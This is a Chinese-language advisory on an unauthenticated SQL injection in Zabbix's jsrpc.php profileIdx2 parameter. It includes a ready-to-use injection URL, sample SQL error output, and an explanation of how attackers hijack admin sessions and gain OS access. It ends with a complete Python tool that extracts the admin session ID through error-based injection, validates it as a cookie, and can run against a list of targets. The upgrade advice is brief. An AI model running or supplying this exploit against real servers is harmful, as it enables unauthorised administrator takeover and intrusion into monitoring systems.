漏洞概述 
  
  
zabbix是一个开源的企业级性能监控解决方案。 官方网站:[  ]h [/url] zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。  
 
影响程度 
  
攻击成本:低 危害程度:高 是否登陆:不需要 影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)  
 
漏洞测试 
  
在您的zabbix的地址后面加上如下url:  
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim 
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi 
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil 
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype= 
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=& 
mark_color=1 
输出结果,出现如下内容(包含:You have an error in your SQL syntax;)表示漏洞存在:  
<div class="flickerfreescreen" data-timestamp="1471054088083" id="flickerfreescreen_1"><table class="list-table"  
id="t57ae81946b8cb"><thead><tr><th class="cell-width">Timestamp</th><th>Value</th></tr></thead><tbody><tr  
class="nothing-to-show"><td colspan="2">No data found.</td></tr></tbody></table></div><div class="msg-bad"><div  
class="msg-details"><ul><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES  
(39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that  
corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query  
[INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime',  
'20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL  
server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles  
(profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an  
error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use  
near ''3297)' at line 1]</li></ul></div><span class="overlay-close-btn" title="Close"></span></div> 
 
 补充: 
 以上为仅为漏洞验证测试方式。 
 攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。 有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。  
 
修复方案: 
  
哥哥们还是尽快先去升级到最新版吧,据说3.0.4版本已经修补。。。 安全提示 监控系统监控着每个企业的核心资产,一旦被黑客入侵控制,等同帮助黑客进一步渗透企业敞开了大门。 请大家务必重视,并尽快修补此漏洞。  
 相关信息: 
 该漏洞原始讨论信息    [  /fulldisclosure/2016/Aug/79]fulldisclosure/2016/Aug/79[/url] 近期发布的另外一个需要登录的SQL注入漏洞    Zabbix 3.0.3 SQL Injection Vulnerability exploits/40237/ Zabbix 关于该漏洞相关信息    [  /browse/ZBX-11023]browse/ZBX-11023[/url]  
利用工具,可自动判断Session是否可用:(2016-8-18 13点更新,作者:黄雨) 
  
import urllib,sys,urllib2,urllib 
def cookie(url): 
    poc='/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from (select count(*),concat(floor(rand(0)*2), (select sessionid from sessions where userid=1 and status=0 limit 1))x from information_schema.character_sets group by x)y)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=' 
    body= urllib.urlopen(url+poc).read() 
    cookie=body.split('Duplicate entry')[1].split('for key')[0][3:-2] 
    return cookie 
def test(cookie,url): 
    url=url+'proxies.php' 
    req=urllib2.Request(url) 
    cook="zbx_sessionid=%s" % cookie 
    req.add_header('Cookie', cook) 
    response=urllib2.urlopen(req) 
    data=response.read() 
    if data.find('Access denied.') < 0: 
        print "OK-->",cookie 
    else: 
        print 'ERROR' 
if len(sys.argv)==4: 
    for i in open(sys.argv[3]).readlines(): 
        print i 
        test(cookie(i),i) 
else: 
    print sys.argv[1] 
    test(cookie(sys.argv[1]),sys.argv[1]) 
 
 
 
  
 
原创: 三矛科技 |